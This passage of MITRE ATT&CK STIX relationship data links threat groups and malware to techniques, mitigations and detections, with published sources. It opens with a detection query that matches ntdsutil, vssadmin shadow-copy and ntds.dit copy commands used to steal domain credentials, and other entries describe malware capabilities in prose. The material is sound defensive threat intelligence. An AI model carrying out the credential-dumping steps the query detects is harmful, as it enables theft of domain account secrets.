create a copy of ntds.dit file\n\n((sourcetype=\"WinEventLog:Microsoft-Windows-Powershell/Operational\" EventCode=\"800\") AND\n((CommandLine LIKE \"%ntds%\" AND CommandLine LIKE \"%ntdsutil%\" AND CommandLine LIKE \"%create%\") OR (CommandLine LIKE \"%vssadmin%\" AND CommandLine LIKE \"%create%\" AND CommandLine LIKE \"%shadow%\") OR (CommandLine LIKE \"%copy%\" AND CommandLine LIKE \"%ntds.dit%\")))","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17c78374-26ca-40a8-935b-04327c503742","type":"relationship","created":"2020-01-28T17:11:54.413Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-29T21:23:52.051Z","description":"Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system.","relationship_type":"mitigates","source_ref":"course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea","target_ref":"attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17cafa26-57f1-4efb-9d23-1399cd2de4cd","type":"relationship","created":"2019-01-29T20:17:49.270Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/","source_name":"Unit 42 Tropic Trooper Nov 2016"},{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-29T03:23:28.026Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) is capable of enumerating the running processes on the system using pslist.(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17ce446f-1a76-46d5-a276-589713425af8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"S2 Grupo TrickBot June 2017","description":"Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.","url":"https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"},{"source_name":"Trend Micro Totbrick Oct 2016","description":"Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n"},{"source_name":"Microsoft Totbrick Oct 2017","description":"Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.","url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick"}],"modified":"2020-03-28T21:45:19.556Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) creates a scheduled task on the system that provides persistence.(Citation: S2 Grupo TrickBot June 2017)(Citation: Trend Micro Totbrick Oct 2016)(Citation: Microsoft Totbrick Oct 2017)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17d2730a-c2b7-4d58-b22f-921600daccfb","type":"relationship","created":"2019-03-25T15:05:23.693Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","source_name":"Talos Olympic Destroyer 2018"}],"modified":"2020-03-25T17:57:57.428Z","description":"[Olympic Destroyer](https://attack.mitre.org/software/S0365) contains a module that tries to obtain stored credentials from web browsers.(Citation: Talos Olympic Destroyer 2018)","relationship_type":"uses","source_ref":"malware--3249e92a-870b-426d-8790-ba311c1abfb4","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17d85f51-c89f-440c-be28-5f74d9264723","type":"relationship","created":"2021-11-19T18:33:18.363Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."},{"source_name":"Talent-Jump Clambling February 2020","url":"https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/","description":"Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021."}],"modified":"2021-11-23T15:26:58.743Z","description":"[Clambling](https://attack.mitre.org/software/S0660) can use Dropbox to download malicious payloads, send commands, and receive information.(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--17d8f970-b482-405e-9c16-2d3a692d719f","created":"2024-07-02T19:28:53.102Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-02T19:28:53.102Z","description":"[LunarMail](https://attack.mitre.org/software/S1142) can set the `PR_DELETE_AFTER_SUBMIT` flag to delete messages sent for data exfiltration.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--a5789a26-2b7b-4b2d-a25f-31182468d4bb","target_ref":"attack-pattern--438c967d-3996-4870-bfc2-3954752a1927","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--17db0e04-2e71-4f29-9086-266503e6d000","created":"2021-04-12T12:44:34.219Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos PoetRAT October 2020","url":"https://blog.talosintelligence.com/2020/10/poetrat-update.html","description":"Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PoetRAT](https://attack.mitre.org/software/S0428) has called cmd through a Word document macro.(Citation: Talos PoetRAT October 2020)","modified":"2022-04-19T01:39:22.994Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--17dd5cbe-e0c2-4743-8d96-a855978e9fda","created":"2022-06-15T18:09:36.261Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor created processes with arguments that may delete or alter malicious network configuration settings as well as generated artifacts that highlight network connection history on a host system -- which may include logs, files, or Registry values.","modified":"2022-08-04T00:26:16.549Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--3975dbb5-0e1e-4f5b-bae1-cf2ab84b46dc","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17e06f95-da1f-4481-a586-9dfee23a26ed","type":"relationship","created":"2021-08-05T12:37:11.262Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T22:47:01.065Z","description":"Data loss prevention can detect and block sensitive data being copied to physical mediums.","relationship_type":"mitigates","source_ref":"course-of-action--65401701-019d-44ff-b223-08d520bb0e7b","target_ref":"attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17e5edb8-fcdf-4581-a428-5a3a75fc675a","type":"relationship","created":"2021-10-13T23:51:59.970Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}],"modified":"2021-10-14T14:09:00.920Z","description":"[Octopus](https://attack.mitre.org/software/S0340) can exfiltrate files from the system using a documents collector tool.(Citation: ESET Nomadic Octopus 2018)","relationship_type":"uses","source_ref":"malware--e2031fd5-02c2-43d4-85e2-b64f474530c2","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17e7193e-6583-4bae-8a17-de75f006cd36","type":"relationship","created":"2020-11-18T19:44:20.390Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"Zscaler Bazar September 2020","url":"https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware","description":"Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020."},{"source_name":"CrowdStrike Wizard Spider October 2020","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021."}],"modified":"2021-06-21T20:54:59.143Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can gain execution after a user clicks on a malicious link to decoy landing pages hosted on Google Docs.(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)(Citation: CrowdStrike Wizard Spider October 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--17ebdc53-6faa-409d-a914-2a91f668bc32","created":"2024-03-01T19:01:35.930Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Slowik Sandworm 2021","description":"Joseph Slowik, DomainTools. (2021, March 3). Centreon to Exim and Back: On the Trail of Sandworm. Retrieved April 6, 2024.","url":"https://www.domaintools.com/resources/blog/centreon-to-exim-and-back-on-the-trail-of-sandworm/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-06T18:55:49.622Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) creates credential capture webpages to compromise existing, legitimate social media accounts.(Citation: Slowik Sandworm 2021)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--17ec5db7-d1cd-4057-9d95-a6da56b06825","created":"2023-08-01T18:32:00.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Gigamon BADHATCH Jul 2019","description":"Savelesky, K., et al. (2019, July 23). ABADBABE 8BADFOOD: Discovering BADHATCH and a Detailed Look at FIN8's Tooling. Retrieved September 8, 2021.","url":"https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"},{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T14:29:54.758Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can inject itself into an existing explorer.exe process by using `RtlCreateUserThread`.(Citation: Gigamon BADHATCH Jul 2019)(Citation: BitDefender BADHATCH Mar 2021)","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--17efaef0-499d-4c09-a4c9-32a22edae6db","created":"2024-02-12T18:31:40.657Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T23:50:02.602Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has moved laterally throughout victim environments using RDP.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17f9d6c8-f938-4532-b834-3834655911b8","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dyre June 2015","description":"Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.","url":"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf"},{"source_name":"Malwarebytes Dyreza November 2015","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/","description":"hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."}],"modified":"2020-06-15T20:49:55.655Z","description":"[Dyre](https://attack.mitre.org/software/S0024) can detect sandbox analysis environments by inspecting the process list and Registry.(Citation: Symantec Dyre June 2015)(Citation: Malwarebytes Dyreza November 2015)","relationship_type":"uses","source_ref":"malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17fc72c1-83be-4dce-a795-d2a36e6354ca","type":"relationship","created":"2021-01-27T19:37:49.593Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET EvilNum July 2020","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}],"modified":"2021-01-27T19:37:49.593Z","description":"(Citation: ESET EvilNum July 2020)","relationship_type":"uses","source_ref":"intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de","target_ref":"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17fde86e-66f2-4432-881c-b162c0501204","type":"relationship","created":"2020-10-20T15:50:00.559Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T16:04:12.393Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1803860a-88df-4af5-8c82-ebbe237bc370","created":"2022-06-10T20:17:50.336Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Shark](https://attack.mitre.org/software/S1019) can pause C2 communications for a specified time.(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-06-10T20:17:50.336Z","relationship_type":"uses","source_ref":"malware--99854cc8-f202-4e03-aa0a-4f8a4af93229","target_ref":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1803c9d0-8c13-461d-be06-68aa40901bce","created":"2024-03-07T19:42:01.017Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-15T23:35:15.176Z","description":"Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using trusted binaries to bypass application control. \nEnsure that Electron is updated to the latest version and critical vulnerabilities (such as nodeIntegration bypasses) are patched and cannot be exploited.","relationship_type":"mitigates","source_ref":"course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3","target_ref":"attack-pattern--561ae9aa-c28a-4144-9eec-e7027a14c8c3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--180f0c7c-c7bb-4131-b831-f406ee0516e2","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"1.0","external_references":[{"source_name":"Unit 42 Bisonal July 2018","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/","description":"Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018."},{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."},{"source_name":"Kaspersky CactusPete Aug 2020","url":"https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/","description":"Zykov, K. (2020, August 13). CactusPete APT group’s updated Bisonal backdoor. Retrieved May 5, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bisonal](https://attack.mitre.org/software/S0268) variants reported on in 2014 and 2015 used a simple XOR cipher for C2. Some [Bisonal](https://attack.mitre.org/software/S0268) samples encrypt C2 communications with RC4.(Citation: Unit 42 Bisonal July 2018)(Citation: Kaspersky CactusPete Aug 2020)(Citation: Talos Bisonal Mar 2020) ","modified":"2022-04-18T18:11:05.542Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18123847-de00-44e0-a758-b860a215f0de","type":"relationship","created":"2022-01-13T20:02:28.591Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"store_pwd_rev_enc","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption","description":"Microsoft. (2021, October 28). Store passwords using reversible encryption. Retrieved January 3, 2022."}],"modified":"2022-02-10T21:35:25.714Z","description":"Ensure that AllowReversiblePasswordEncryption property is set to disabled unless there are application requirements.(Citation: store_pwd_rev_enc)","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1813df9f-2bd9-4451-b4dd-aa80716ce151","created":"2023-02-16T16:36:38.919Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T21:31:35.914Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) has been distributed via spearphishing emails containing archive attachments, with file types such as .iso, .zip, .img, .dmg, and .tar, as well as through malicious documents.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--181575ee-d601-4681-8568-1904917e2c15","created":"2024-07-01T20:44:06.352Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T20:44:06.352Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) has the ability to run shell commands via PowerShell.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--182011eb-2283-4e01-88d5-1a6f2e032cd7","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Monitor executed commands and arguments that updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) Monitor for PowerShell commands such as: Update-MSOLFederatedDomain –DomainName: \"Federated Domain Name\", or Update-MSOLFederatedDomain –DomainName: \"Federated Domain Name\" –supportmultipledomain.(Citation: Microsoft - Update or Repair Federated domain)","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft - Azure Sentinel ADFSDomainTrustMods","description":"Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.","url":"https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml"},{"source_name":"Microsoft - Update or Repair Federated domain","description":"Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.","url":"https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1820202b-0994-452a-93e7-ce21496d2ab4","type":"relationship","created":"2019-04-23T15:30:03.159Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html","description":"Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.","source_name":"Lee 